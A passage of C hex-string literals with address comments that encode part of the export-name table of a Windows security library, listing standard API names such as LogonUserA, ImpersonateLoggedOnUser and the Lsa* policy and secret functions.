7E296020 */ "\x61\x67\x65\x64\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x44" //agedApplicationD /* 7E296040 */ "\x61\x74\x61\x00\x47\x65\x74\x4C\x6F\x63\x61\x6C\x4D\x61\x6E\x61" //ata.GetLocalMana /* 7E296060 */ "\x67\x65\x64\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x73\x00" //gedApplications. /* 7E296080 */ "\x47\x65\x74\x4D\x61\x6E\x61\x67\x65\x64\x41\x70\x70\x6C\x69\x63" //GetManagedApplic /* 7E2960A0 */ "\x61\x74\x69\x6F\x6E\x43\x61\x74\x65\x67\x6F\x72\x69\x65\x73\x00" //ationCategories. /* 7E2960C0 */ "\x47\x65\x74\x4D\x61\x6E\x61\x67\x65\x64\x41\x70\x70\x6C\x69\x63" //GetManagedApplic /* 7E2960E0 */ "\x61\x74\x69\x6F\x6E\x73\x00\x47\x65\x74\x4D\x75\x6C\x74\x69\x70" //ations.GetMultip /* 7E296100 */ "\x6C\x65\x54\x72\x75\x73\x74\x65\x65\x41\x00\x47\x65\x74\x4D\x75" //leTrusteeA.GetMu /* 7E296120 */ "\x6C\x74\x69\x70\x6C\x65\x54\x72\x75\x73\x74\x65\x65\x4F\x70\x65" //ltipleTrusteeOpe /* 7E296140 */ "\x72\x61\x74\x69\x6F\x6E\x41\x00\x47\x65\x74\x4D\x75\x6C\x74\x69" //rationA.GetMulti /* 7E296160 */ "\x70\x6C\x65\x54\x72\x75\x73\x74\x65\x65\x4F\x70\x65\x72\x61\x74" //pleTrusteeOperat /* 7E296180 */ "\x69\x6F\x6E\x57\x00\x47\x65\x74\x4D\x75\x6C\x74\x69\x70\x6C\x65" //ionW.GetMultiple /* 7E2961A0 */ "\x54\x72\x75\x73\x74\x65\x65\x57\x00\x47\x65\x74\x4E\x61\x6D\x65" //TrusteeW.GetName /* 7E2961C0 */ "\x64\x53\x65\x63\x75\x72\x69\x74\x79\x49\x6E\x66\x6F\x41\x00\x47" //dSecurityInfoA.G /* 7E2961E0 */ "\x65\x74\x4E\x61\x6D\x65\x64\x53\x65\x63\x75\x72\x69\x74\x79\x49" //etNamedSecurityI /* 7E296200 */ "\x6E\x66\x6F\x45\x78\x41\x00\x47\x65\x74\x4E\x61\x6D\x65\x64\x53" //nfoExA.GetNamedS /* 7E296220 */ "\x65\x63\x75\x72\x69\x74\x79\x49\x6E\x66\x6F\x45\x78\x57\x00\x47" //ecurityInfoExW.G /* 7E296240 */ "\x65\x74\x4E\x61\x6D\x65\x64\x53\x65\x63\x75\x72\x69\x74\x79\x49" //etNamedSecurityI /* 7E296260 */ "\x6E\x66\x6F\x57\x00\x47\x65\x74\x4E\x75\x6D\x62\x65\x72\x4F\x66" //nfoW.GetNumberOf /* 7E296280 */ "\x45\x76\x65\x6E\x74\x4C\x6F\x67\x52\x65\x63\x6F\x72\x64\x73\x00" //EventLogRecords. /* 7E2962A0 */ "\x47\x65\x74\x4F\x6C\x64\x65\x73\x74\x45\x76\x65\x6E\x74\x4C\x6F" //GetOldestEventLo /* 7E2962C0 */ "\x67\x52\x65\x63\x6F\x72\x64\x00\x47\x65\x74\x4F\x76\x65\x72\x6C" //gRecord.GetOverl /* 7E2962E0 */ "\x61\x70\x70\x65\x64\x41\x63\x63\x65\x73\x73\x52\x65\x73\x75\x6C" //appedAccessResul /* 7E296300 */ "\x74\x73\x00\x47\x65\x74\x50\x72\x69\x76\x61\x74\x65\x4F\x62\x6A" //ts.GetPrivateObj /* 7E296320 */ "\x65\x63\x74\x53\x65\x63\x75\x72\x69\x74\x79\x00\x47\x65\x74\x53" //ectSecurity.GetS /* 7E296340 */ "\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F" //ecurityDescripto /* 7E296360 */ "\x72\x43\x6F\x6E\x74\x72\x6F\x6C\x00\x47\x65\x74\x53\x65\x63\x75" //rControl.GetSecu /* 7E296380 */ "\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x44\x61" //rityDescriptorDa /* 7E2963A0 */ "\x63\x6C\x00\x47\x65\x74\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65" //cl.GetSecurityDe /* 7E2963C0 */ "\x73\x63\x72\x69\x70\x74\x6F\x72\x47\x72\x6F\x75\x70\x00\x47\x65" //scriptorGroup.Ge /* 7E2963E0 */ "\x74\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70" //tSecurityDescrip /* 7E296400 */ "\x74\x6F\x72\x4C\x65\x6E\x67\x74\x68\x00\x47\x65\x74\x53\x65\x63" //torLength.GetSec /* 7E296420 */ "\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x4F" //urityDescriptorO /* 7E296440 */ "\x77\x6E\x65\x72\x00\x47\x65\x74\x53\x65\x63\x75\x72\x69\x74\x79" //wner.GetSecurity /* 7E296460 */ "\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x52\x4D\x43\x6F\x6E\x74" //DescriptorRMCont /* 7E296480 */ "\x72\x6F\x6C\x00\x47\x65\x74\x53\x65\x63\x75\x72\x69\x74\x79\x44" //rol.GetSecurityD /* 7E2964A0 */ "\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x53\x61\x63\x6C\x00\x47\x65" //escriptorSacl.Ge /* 7E2964C0 */ "\x74\x53\x65\x63\x75\x72\x69\x74\x79\x49\x6E\x66\x6F\x00\x47\x65" //tSecurityInfo.Ge /* 7E2964E0 */ "\x74\x53\x65\x63\x75\x72\x69\x74\x79\x49\x6E\x66\x6F\x45\x78\x41" //tSecurityInfoExA /* 7E296500 */ "\x00\x47\x65\x74\x53\x65\x63\x75\x72\x69\x74\x79\x49\x6E\x66\x6F" //.GetSecurityInfo /* 7E296520 */ "\x45\x78\x57\x00\x47\x65\x74\x53\x65\x72\x76\x69\x63\x65\x44\x69" //ExW.GetServiceDi /* 7E296540 */ "\x73\x70\x6C\x61\x79\x4E\x61\x6D\x65\x41\x00\x47\x65\x74\x53\x65" //splayNameA.GetSe /* 7E296560 */ "\x72\x76\x69\x63\x65\x44\x69\x73\x70\x6C\x61\x79\x4E\x61\x6D\x65" //rviceDisplayName /* 7E296580 */ "\x57\x00\x47\x65\x74\x53\x65\x72\x76\x69\x63\x65\x4B\x65\x79\x4E" //W.GetServiceKeyN /* 7E2965A0 */ "\x61\x6D\x65\x41\x00\x47\x65\x74\x53\x65\x72\x76\x69\x63\x65\x4B" //ameA.GetServiceK /* 7E2965C0 */ "\x65\x79\x4E\x61\x6D\x65\x57\x00\x47\x65\x74\x53\x69\x64\x49\x64" //eyNameW.GetSidId /* 7E2965E0 */ "\x65\x6E\x74\x69\x66\x69\x65\x72\x41\x75\x74\x68\x6F\x72\x69\x74" //entifierAuthorit /* 7E296600 */ "\x79\x00\x47\x65\x74\x53\x69\x64\x4C\x65\x6E\x67\x74\x68\x52\x65" //y.GetSidLengthRe /* 7E296620 */ "\x71\x75\x69\x72\x65\x64\x00\x47\x65\x74\x53\x69\x64\x53\x75\x62" //quired.GetSidSub /* 7E296640 */ "\x41\x75\x74\x68\x6F\x72\x69\x74\x79\x00\x47\x65\x74\x53\x69\x64" //Authority.GetSid /* 7E296660 */ "\x53\x75\x62\x41\x75\x74\x68\x6F\x72\x69\x74\x79\x43\x6F\x75\x6E" //SubAuthorityCoun /* 7E296680 */ "\x74\x00\x47\x65\x74\x54\x6F\x6B\x65\x6E\x49\x6E\x66\x6F\x72\x6D" //t.GetTokenInform /* 7E2966A0 */ "\x61\x74\x69\x6F\x6E\x00\x47\x65\x74\x54\x72\x61\x63\x65\x45\x6E" //ation.GetTraceEn /* 7E2966C0 */ "\x61\x62\x6C\x65\x46\x6C\x61\x67\x73\x00\x47\x65\x74\x54\x72\x61" //ableFlags.GetTra /* 7E2966E0 */ "\x63\x65\x45\x6E\x61\x62\x6C\x65\x4C\x65\x76\x65\x6C\x00\x47\x65" //ceEnableLevel.Ge /* 7E296700 */ "\x74\x54\x72\x61\x63\x65\x4C\x6F\x67\x67\x65\x72\x48\x61\x6E\x64" //tTraceLoggerHand /* 7E296720 */ "\x6C\x65\x00\x47\x65\x74\x54\x72\x75\x73\x74\x65\x65\x46\x6F\x72" //le.GetTrusteeFor /* 7E296740 */ "\x6D\x41\x00\x47\x65\x74\x54\x72\x75\x73\x74\x65\x65\x46\x6F\x72" //mA.GetTrusteeFor /* 7E296760 */ "\x6D\x57\x00\x47\x65\x74\x54\x72\x75\x73\x74\x65\x65\x4E\x61\x6D" //mW.GetTrusteeNam /* 7E296780 */ "\x65\x41\x00\x47\x65\x74\x54\x72\x75\x73\x74\x65\x65\x4E\x61\x6D" //eA.GetTrusteeNam /* 7E2967A0 */ "\x65\x57\x00\x47\x65\x74\x54\x72\x75\x73\x74\x65\x65\x54\x79\x70" //eW.GetTrusteeTyp /* 7E2967C0 */ "\x65\x41\x00\x47\x65\x74\x54\x72\x75\x73\x74\x65\x65\x54\x79\x70" //eA.GetTrusteeTyp /* 7E2967E0 */ "\x65\x57\x00\x47\x65\x74\x55\x73\x65\x72\x4E\x61\x6D\x65\x41\x00" //eW.GetUserNameA. /* 7E296800 */ "\x47\x65\x74\x55\x73\x65\x72\x4E\x61\x6D\x65\x57\x00\x47\x65\x74" //GetUserNameW.Get /* 7E296820 */ "\x57\x69\x6E\x64\x6F\x77\x73\x41\x63\x63\x6F\x75\x6E\x74\x44\x6F" //WindowsAccountDo /* 7E296840 */ "\x6D\x61\x69\x6E\x53\x69\x64\x00\x49\x5F\x53\x63\x47\x65\x74\x43" //mainSid.I_ScGetC /* 7E296860 */ "\x75\x72\x72\x65\x6E\x74\x47\x72\x6F\x75\x70\x53\x74\x61\x74\x65" //urrentGroupState /* 7E296880 */ "\x57\x00\x49\x5F\x53\x63\x49\x73\x53\x65\x63\x75\x72\x69\x74\x79" //W.I_ScIsSecurity /* 7E2968A0 */ "\x50\x72\x6F\x63\x65\x73\x73\x00\x49\x5F\x53\x63\x50\x6E\x50\x47" //Process.I_ScPnPG /* 7E2968C0 */ "\x65\x74\x53\x65\x72\x76\x69\x63\x65\x4E\x61\x6D\x65\x00\x49\x5F" //etServiceName.I_ /* 7E2968E0 */ "\x53\x63\x53\x65\x6E\x64\x54\x53\x4D\x65\x73\x73\x61\x67\x65\x00" //ScSendTSMessage. /* 7E296900 */ "\x49\x5F\x53\x63\x53\x65\x74\x53\x65\x72\x76\x69\x63\x65\x42\x69" //I_ScSetServiceBi /* 7E296920 */ "\x74\x73\x41\x00\x49\x5F\x53\x63\x53\x65\x74\x53\x65\x72\x76\x69" //tsA.I_ScSetServi /* 7E296940 */ "\x63\x65\x42\x69\x74\x73\x57\x00\x49\x64\x65\x6E\x74\x69\x66\x79" //ceBitsW.Identify /* 7E296960 */ "\x43\x6F\x64\x65\x41\x75\x74\x68\x7A\x4C\x65\x76\x65\x6C\x57\x00" //CodeAuthzLevelW. /* 7E296980 */ "\x49\x6D\x70\x65\x72\x73\x6F\x6E\x61\x74\x65\x41\x6E\x6F\x6E\x79" //ImpersonateAnony /* 7E2969A0 */ "\x6D\x6F\x75\x73\x54\x6F\x6B\x65\x6E\x00\x49\x6D\x70\x65\x72\x73" //mousToken.Impers /* 7E2969C0 */ "\x6F\x6E\x61\x74\x65\x4C\x6F\x67\x67\x65\x64\x4F\x6E\x55\x73\x65" //onateLoggedOnUse /* 7E2969E0 */ "\x72\x00\x49\x6D\x70\x65\x72\x73\x6F\x6E\x61\x74\x65\x4E\x61\x6D" //r.ImpersonateNam /* 7E296A00 */ "\x65\x64\x50\x69\x70\x65\x43\x6C\x69\x65\x6E\x74\x00\x49\x6D\x70" //edPipeClient.Imp /* 7E296A20 */ "\x65\x72\x73\x6F\x6E\x61\x74\x65\x53\x65\x6C\x66\x00\x49\x6E\x69" //ersonateSelf.Ini /* 7E296A40 */ "\x74\x69\x61\x6C\x69\x7A\x65\x41\x63\x6C\x00\x49\x6E\x69\x74\x69" //tializeAcl.Initi /* 7E296A60 */ "\x61\x6C\x69\x7A\x65\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73" //alizeSecurityDes /* 7E296A80 */ "\x63\x72\x69\x70\x74\x6F\x72\x00\x49\x6E\x69\x74\x69\x61\x6C\x69" //criptor.Initiali /* 7E296AA0 */ "\x7A\x65\x53\x69\x64\x00\x49\x6E\x69\x74\x69\x61\x74\x65\x53\x79" //zeSid.InitiateSy /* 7E296AC0 */ "\x73\x74\x65\x6D\x53\x68\x75\x74\x64\x6F\x77\x6E\x41\x00\x49\x6E" //stemShutdownA.In /* 7E296AE0 */ "\x69\x74\x69\x61\x74\x65\x53\x79\x73\x74\x65\x6D\x53\x68\x75\x74" //itiateSystemShut /* 7E296B00 */ "\x64\x6F\x77\x6E\x45\x78\x41\x00\x49\x6E\x69\x74\x69\x61\x74\x65" //downExA.Initiate /* 7E296B20 */ "\x53\x79\x73\x74\x65\x6D\x53\x68\x75\x74\x64\x6F\x77\x6E\x45\x78" //SystemShutdownEx /* 7E296B40 */ "\x57\x00\x49\x6E\x69\x74\x69\x61\x74\x65\x53\x79\x73\x74\x65\x6D" //W.InitiateSystem /* 7E296B60 */ "\x53\x68\x75\x74\x64\x6F\x77\x6E\x57\x00\x49\x6E\x73\x74\x61\x6C" //ShutdownW.Instal /* 7E296B80 */ "\x6C\x41\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x00\x49\x73\x54" //lApplication.IsT /* 7E296BA0 */ "\x65\x78\x74\x55\x6E\x69\x63\x6F\x64\x65\x00\x49\x73\x54\x6F\x6B" //extUnicode.IsTok /* 7E296BC0 */ "\x65\x6E\x52\x65\x73\x74\x72\x69\x63\x74\x65\x64\x00\x49\x73\x54" //enRestricted.IsT /* 7E296BE0 */ "\x6F\x6B\x65\x6E\x55\x6E\x74\x72\x75\x73\x74\x65\x64\x00\x49\x73" //okenUntrusted.Is /* 7E296C00 */ "\x56\x61\x6C\x69\x64\x41\x63\x6C\x00\x49\x73\x56\x61\x6C\x69\x64" //ValidAcl.IsValid /* 7E296C20 */ "\x53\x65\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74" //SecurityDescript /* 7E296C40 */ "\x6F\x72\x00\x49\x73\x56\x61\x6C\x69\x64\x53\x69\x64\x00\x49\x73" //or.IsValidSid.Is /* 7E296C60 */ "\x57\x65\x6C\x6C\x4B\x6E\x6F\x77\x6E\x53\x69\x64\x00\x4C\x6F\x63" //WellKnownSid.Loc /* 7E296C80 */ "\x6B\x53\x65\x72\x76\x69\x63\x65\x44\x61\x74\x61\x62\x61\x73\x65" //kServiceDatabase /* 7E296CA0 */ "\x00\x4C\x6F\x67\x6F\x6E\x55\x73\x65\x72\x41\x00\x4C\x6F\x67\x6F" //.LogonUserA.Logo /* 7E296CC0 */ "\x6E\x55\x73\x65\x72\x45\x78\x41\x00\x4C\x6F\x67\x6F\x6E\x55\x73" //nUserExA.LogonUs /* 7E296CE0 */ "\x65\x72\x45\x78\x45\x78\x57\x00\x4C\x6F\x67\x6F\x6E\x55\x73\x65" //erExExW.LogonUse /* 7E296D00 */ "\x72\x45\x78\x57\x00\x4C\x6F\x67\x6F\x6E\x55\x73\x65\x72\x57\x00" //rExW.LogonUserW. /* 7E296D20 */ "\x4C\x6F\x6F\x6B\x75\x70\x41\x63\x63\x6F\x75\x6E\x74\x4E\x61\x6D" //LookupAccountNam /* 7E296D40 */ "\x65\x41\x00\x4C\x6F\x6F\x6B\x75\x70\x41\x63\x63\x6F\x75\x6E\x74" //eA.LookupAccount /* 7E296D60 */ "\x4E\x61\x6D\x65\x57\x00\x4C\x6F\x6F\x6B\x75\x70\x41\x63\x63\x6F" //NameW.LookupAcco /* 7E296D80 */ "\x75\x6E\x74\x53\x69\x64\x41\x00\x4C\x6F\x6F\x6B\x75\x70\x41\x63" //untSidA.LookupAc /* 7E296DA0 */ "\x63\x6F\x75\x6E\x74\x53\x69\x64\x57\x00\x4C\x6F\x6F\x6B\x75\x70" //countSidW.Lookup /* 7E296DC0 */ "\x50\x72\x69\x76\x69\x6C\x65\x67\x65\x44\x69\x73\x70\x6C\x61\x79" //PrivilegeDisplay /* 7E296DE0 */ "\x4E\x61\x6D\x65\x41\x00\x4C\x6F\x6F\x6B\x75\x70\x50\x72\x69\x76" //NameA.LookupPriv /* 7E296E00 */ "\x69\x6C\x65\x67\x65\x44\x69\x73\x70\x6C\x61\x79\x4E\x61\x6D\x65" //ilegeDisplayName /* 7E296E20 */ "\x57\x00\x4C\x6F\x6F\x6B\x75\x70\x50\x72\x69\x76\x69\x6C\x65\x67" //W.LookupPrivileg /* 7E296E40 */ "\x65\x4E\x61\x6D\x65\x41\x00\x4C\x6F\x6F\x6B\x75\x70\x50\x72\x69" //eNameA.LookupPri /* 7E296E60 */ "\x76\x69\x6C\x65\x67\x65\x4E\x61\x6D\x65\x57\x00\x4C\x6F\x6F\x6B" //vilegeNameW.Look /* 7E296E80 */ "\x75\x70\x50\x72\x69\x76\x69\x6C\x65\x67\x65\x56\x61\x6C\x75\x65" //upPrivilegeValue /* 7E296EA0 */ "\x41\x00\x4C\x6F\x6F\x6B\x75\x70\x50\x72\x69\x76\x69\x6C\x65\x67" //A.LookupPrivileg /* 7E296EC0 */ "\x65\x56\x61\x6C\x75\x65\x57\x00\x4C\x6F\x6F\x6B\x75\x70\x53\x65" //eValueW.LookupSe /* 7E296EE0 */ "\x63\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72" //curityDescriptor /* 7E296F00 */ "\x50\x61\x72\x74\x73\x41\x00\x4C\x6F\x6F\x6B\x75\x70\x53\x65\x63" //PartsA.LookupSec /* 7E296F20 */ "\x75\x72\x69\x74\x79\x44\x65\x73\x63\x72\x69\x70\x74\x6F\x72\x50" //urityDescriptorP /* 7E296F40 */ "\x61\x72\x74\x73\x57\x00\x4C\x73\x61\x41\x64\x64\x41\x63\x63\x6F" //artsW.LsaAddAcco /* 7E296F60 */ "\x75\x6E\x74\x52\x69\x67\x68\x74\x73\x00\x4C\x73\x61\x41\x64\x64" //untRights.LsaAdd /* 7E296F80 */ "\x50\x72\x69\x76\x69\x6C\x65\x67\x65\x73\x54\x6F\x41\x63\x63\x6F" //PrivilegesToAcco /* 7E296FA0 */ "\x75\x6E\x74\x00\x4C\x73\x61\x43\x6C\x65\x61\x72\x41\x75\x64\x69" //unt.LsaClearAudi /* 7E296FC0 */ "\x74\x4C\x6F\x67\x00\x4C\x73\x61\x43\x6C\x6F\x73\x65\x00\x4C\x73" //tLog.LsaClose.Ls /* 7E296FE0 */ "\x61\x43\x72\x65\x61\x74\x65\x41\x63\x63\x6F\x75\x6E\x74\x00\x4C" //aCreateAccount.L /* 7E297000 */ "\x73\x61\x43\x72\x65\x61\x74\x65\x53\x65\x63\x72\x65\x74\x00\x4C" //saCreateSecret.L /* 7E297020 */ "\x73\x61\x43\x72\x65\x61\x74\x65\x54\x72\x75\x73\x74\x65\x64\x44" //saCreateTrustedD /* 7E297040 */ "\x6F\x6D\x61\x69\x6E\x00\x4C\x73\x61\x43\x72\x65\x61\x74\x65\x54" //omain.LsaCreateT /* 7E297060 */ "\x72\x75\x73\x74\x65\x64\x44\x6F\x6D\x61\x69\x6E\x45\x78\x00\x4C" //rustedDomainEx.L /* 7E297080 */ "\x73\x61\x44\x65\x6C\x65\x74\x65\x00\x4C\x73\x61\x44\x65\x6C\x65" //saDelete.LsaDele /* 7E2970A0 */ "\x74\x65\x54\x72\x75\x73\x74\x65\x64\x44\x6F\x6D\x61\x69\x6E\x00" //teTrustedDomain. /* 7E2970C0 */ "\x4C\x73\x61\x45\x6E\x75\x6D\x65\x72\x61\x74\x65\x41\x63\x63\x6F" //LsaEnumerateAcco /* 7E2970E0 */ "\x75\x6E\x74\x52\x69\x67\x68\x74\x73\x00\x4C\x73\x61\x45\x6E\x75" //untRights.LsaEnu /* 7E297100 */ "\x6D\x65\x72\x61\x74\x65\x41\x63\x63\x6F\x75\x6E\x74\x73\x00\x4C" //merateAccounts.L /* 7E297120 */ "\x73\x61\x45\x6E\x75\x6D\x65\x72\x61\x74\x65\x41\x63\x63\x6F\x75" //saEnumerateAccou /* 7E297140 */ "\x6E\x74\x73\x57\x69\x74\x68\x55\x73\x65\x72\x52\x69\x67\x68\x74" //ntsWithUserRight /* 7E297160 */ "\x00\x4C\x73\x61\x45\x6E\x75\x6D\x65\x72\x61\x74\x65\x50\x72\x69" //.LsaEnumeratePri /* 7E297180 */ "\x76\x69\x6C\x65\x67\x65\x73\x00\x4C\x73\x61\x45\x6E\x75\x6D\x65" //vileges.LsaEnume /* 7E2971A0 */ "\x72\x61\x74\x65\x50\x72\x69\x76\x69\x6C\x65\x67\x65\x73\x4F\x66" //ratePrivilegesOf /* 7E2971C0 */ "\x41\x63\x63\x6F\x75\x6E\x74\x00\x4C\x73\x61\x45\x6E\x75\x6D\x65" //Account.LsaEnume /* 7E2971E0 */ "\x72\x61\x74\x65\x54\x72\x75\x73\x74\x65\x64\x44\x6F\x6D\x61\x69" //rateTrustedDomai /* 7E297200 */ "\x6E\x73\x00\x4C\x73\x61\x45\x6E\x75\x6D\x65\x72\x61\x74\x65\x54" //ns.LsaEnumerateT /* 7E297220 */ "\x72\x75\x73\x74\x65\x64\x44\x6F\x6D\x61\x69\x6E\x73\x45\x78\x00" //rustedDomainsEx. /* 7E297240 */ "\x4C\x73\x61\x46\x72\x65\x65\x4D\x65\x6D\x6F\x72\x79\x00\x4C\x73" //LsaFreeMemory.Ls /* 7E297260 */ "\x61\x47\x65\x74\x51\x75\x6F\x74\x61\x73\x46\x6F\x72\x41\x63\x63" //aGetQuotasForAcc /* 7E297280 */ "\x6F\x75\x6E\x74\x00\x4C\x73\x61\x47\x65\x74\x52\x65\x6D\x6F\x74" //ount.LsaGetRemot /* 7E2972A0 */ "\x65\x55\x73\x65\x72\x4E\x61\x6D\x65\x00\x4C\x73\x61\x47\x65\x74" //eUserName.LsaGet /* 7E2972C0 */ "\x53\x79\x73\x74\x65\x6D\x41\x63\x63\x65\x73\x73\x41\x63\x63\x6F" //SystemAccessAcco /* 7E2972E0 */ "\x75\x6E\x74\x00\x4C\x73\x61\x47\x65\x74\x55\x73\x65\x72\x4E\x61" //unt.LsaGetUserNa /* 7E297300 */ "\x6D\x65\x00\x4C\x73\x61\x49\x43\x4C\x6F\x6F\x6B\x75\x70\x4E\x61" //me.LsaICLookupNa /* 7E297320 */ "\x6D\x65\x73\x00\x4C\x73\x61\x49\x43\x4C\x6F\x6F\x6B\x75\x70\x4E" //mes.LsaICLookupN /* 7E297340 */ "\x61\x6D\x65\x73\x57\x69\x74\x68\x43\x72\x65\x64\x73\x00\x4C\x73" //amesWithCreds.Ls /* 7E297360 */ "\x61\x49\x43\x4C\x6F\x6F\x6B\x75\x70\x53\x69\x64\x73\x00\x4C\x73" //aICLookupSids.Ls /* 7E297380 */ "\x61\x49\x43\x4C\x6F\x6F\x6B\x75\x70\x53\x69\x64\x73\x57\x69\x74" //aICLookupSidsWit /* 7E2973A0 */ "\x68\x43\x72\x65\x64\x73\x00\x4C\x73\x61\x4C\x6F\x6F\x6B\x75\x70" //hCreds.LsaLookup /* 7E2973C0 */ "\x4E\x61\x6D\x65\x73\x00\x4C\x73\x61\x4C\x6F\x6F\x6B\x75\x70\x4E" //Names.LsaLookupN /* 7E2973E0 */ "\x61\x6D\x65\x73\x32\x00\x4C\x73\x61\x4C\x6F\x6F\x6B\x75\x70\x50" //ames2.LsaLookupP /* 7E297400 */ "\x72\x69\x76\x69\x6C\x65\x67\x65\x44\x69\x73\x70\x6C\x61\x79\x4E" //rivilegeDisplayN /* 7E297420 */ "\x61\x6D\x65\x00\x4C\x73\x61\x4C\x6F\x6F\x6B\x75\x70\x50\x72\x69" //ame.LsaLookupPri /* 7E297440 */ "\x76\x69\x6C\x65\x67\x65\x4E\x61\x6D\x65\x00\x4C\x73\x61\x4C\x6F" //vilegeName.LsaLo /* 7E297460 */ "\x6F\x6B\x75\x70\x50\x72\x69\x76\x69\x6C\x65\x67\x65\x56\x61\x6C" //okupPrivilegeVal /* 7E297480 */ "\x75\x65\x00\x4C\x73\x61\x4C\x6F\x6F\x6B\x75\x70\x53\x69\x64\x73" //ue.LsaLookupSids /* 7E2974A0 */ "\x00\x4C\x73\x61\x4E\x74\x53\x74\x61\x74\x75\x73\x54\x6F\x57\x69" //.LsaNtStatusToWi /* 7E2974C0 */ "\x6E\x45\x72\x72\x6F\x72\x00\x4C\x73\x61\x4F\x70\x65\x6E\x41\x63" //nError.LsaOpenAc /* 7E2974E0 */ "\x63\x6F\x75\x6E\x74\x00\x4C\x73\x61\x4F\x70\x65\x6E\x50\x6F\x6C" //count.LsaOpenPol /* 7E297500 */ "\x69\x63\x79\x00\x4C\x73\x61\x4F\x70\x65\x6E\x50\x6F\x6C\x69\x63" //icy.LsaOpenPolic /* 7E297520 */ "\x79\x53\x63\x65\x00\x4C\x73\x61\x4F\x70\x65\x6E\x53\x65\x63\x72" //ySce.LsaOpenSecr /* 7E297540 */ "\x65\x74\x00\x4C\x73\x61\x4F\x70\x65\x6E\x54\x72\x75\x73\x74\x65" //et.LsaOpenTruste /* 7E297560 */ "\x64\x44\x6F\x6D\x61\x69\x6E\x00\x4C\x73\x61\x4F\x70\x65\x6E\x54" //dDomain.LsaOpenT /* 7E297580 */ "\x72\x75\x73\x74\x65\x64\x44\x6F\x6D\x61\x69\x6E\x42\x79\x4E\x61" //rustedDomainByNa /* 7E2975A0 */ "\x6D\x65\x00\x4C\x73\x61\x51\x75\x65\x72\x79\x44\x6F\x6D\x61\x69" //me.LsaQueryDomai /* 7E2975C0 */ "\x6E\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x50\x6F\x6C\x69" //nInformationPoli /* 7E2975E0 */ "\x63\x79\x00\x4C\x73\x61\x51\x75\x65\x72\x79\x46\x6F\x72\x65\x73" //cy.LsaQueryFores /* 7E297600 */ "\x74\x54\x72\x75\x73\x74\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F" //tTrustInformatio /* 7E297620 */ "\x6E\x00\x4C\x73\x61\x51\x75\x65\x72\x79\x49\x6E\x66\x6F\x54\x72" //n.LsaQueryInfoTr /* 7E297640 */ "\x75\x73\x74\x65\x64\x44\x6F\x6D\x61\x69\x6E\x00\x4C\x73\x61\x51" //ustedDomain.LsaQ /* 7E297660 */ "\x75\x65\x72\x79\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x50" //ueryInformationP /* 7E297680 */ "\x6F\x6C\x69\x63\x79\x00\x4C\x73\x61\x51\x75\x65\x72\x79\x53\x65" //olicy.LsaQuerySe /* 7E2976A0 */ "\x63\x72\x65\x74\x00\x4C\x73\x61\x51\x75\x65\x72\x79\x53\x65\x63" //cret.LsaQuerySec /* 7E2976C0 */ "\x75\x72\x69\x74\x79\x4F\x62\x6A\x65\x63\x74\x00\x4C\x73\x61\x51" //urityObject.LsaQ /* 7E2976E0 */ "\x75\x65\x72\x79\x54\x72\x75\x73\x74\x65\x64\x44\x6F\x6D\x61\x69" //ueryTrustedDomai /* 7E297700 */ "\x6E\x49\x6E\x66\x6F\x00\x4C\x73\x61\x51\x75\x65\x72\x79\x54\x72" //nInfo.LsaQueryTr /* 7E297720 */ "\x75\x73\x74\x65\x64\x44\x6F\x6D\x61\x69\x6E\x49\x6E\x66\x6F\x42" //ustedDomainInfoB /* 7E297740 */ "\x79\x4E\x61\x6D\x65\x00\x4C\x73\x61\x52\x65\x6D\x6F\x76\x65\x41" //yName.LsaRemoveA /* 7E297760 */ "\x63\x63\x6F\x75\x6E\x74\x52\x69\x67\x68\x74\x73\x00\x4C\x73\x61" //ccountRights.Lsa /* 7E297780 */ "\x52\x65\x6D\x6F\x76\x65\x50\x72\x69\x76\x69\x6C\x65\x67\x65\x73" //RemovePrivileges /* 7E2977A0 */ "\x46\x72\x6F\x6D\x41\x63\x63\x6F\x75\x6E\x74\x00\x4C\x73\x61\x52" //FromAccount.LsaR /* 7E2977C0 */ "\x65\x74\x72\x69\x65\x76\x65\x50\x72\x69\x76\x61\x74\x65\x44\x61" //etrievePrivateDa /* 7E2977E0 */ "\x74\x61\x00\x4C\x73\x61\x53\x65\x74\x44\x6F\x6D\x61\x69\x6E\x49" //ta.LsaSetDomainI /* 7E297800 */ "\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x50\x6F\x6C\x69\x63\x79" //nformationPolicy /* 7E297820 */ "\x00\x4C\x73\x61\x53\x65\x74\x46\x6F\x72\x65\x73\x74\x54\x72\x75" //.LsaSetForestTru /* 7E297840 */ "\x73\x74\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x4C\x73" //stInformation.Ls /* 7E297860 */ "\x61\x53\x65\x74\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x50" //aSetInformationP /* 7E297880 */ "\x6F\x6C\x69\x63\x79\x00\x4C\x73\x61\x53\x65\x74\x49\x6E\x66\x6F" //olicy.LsaSetInfo /* 7E2978A0 */ "\x72\x6D\x61\x74\x69\x6F\x6E\x54\x72\x75\x73\x74\x65\x64\x44\x6F" //rmationTrustedDo /* 7E2978C0 */ "\x6D\x61\x69\x6E\x00\x4C\x73\x61\x53\x65\x74\x51\x75\x6F\x74\x61" //main.LsaSetQuota /* 7E2978E0 */ "\x73\x46\x6F\x72\x41\x63\x63\x6F\x75\x6E\x74\x00\x4C\x73\x61\x53" //sForAccount.LsaS /* 7E297900 */ 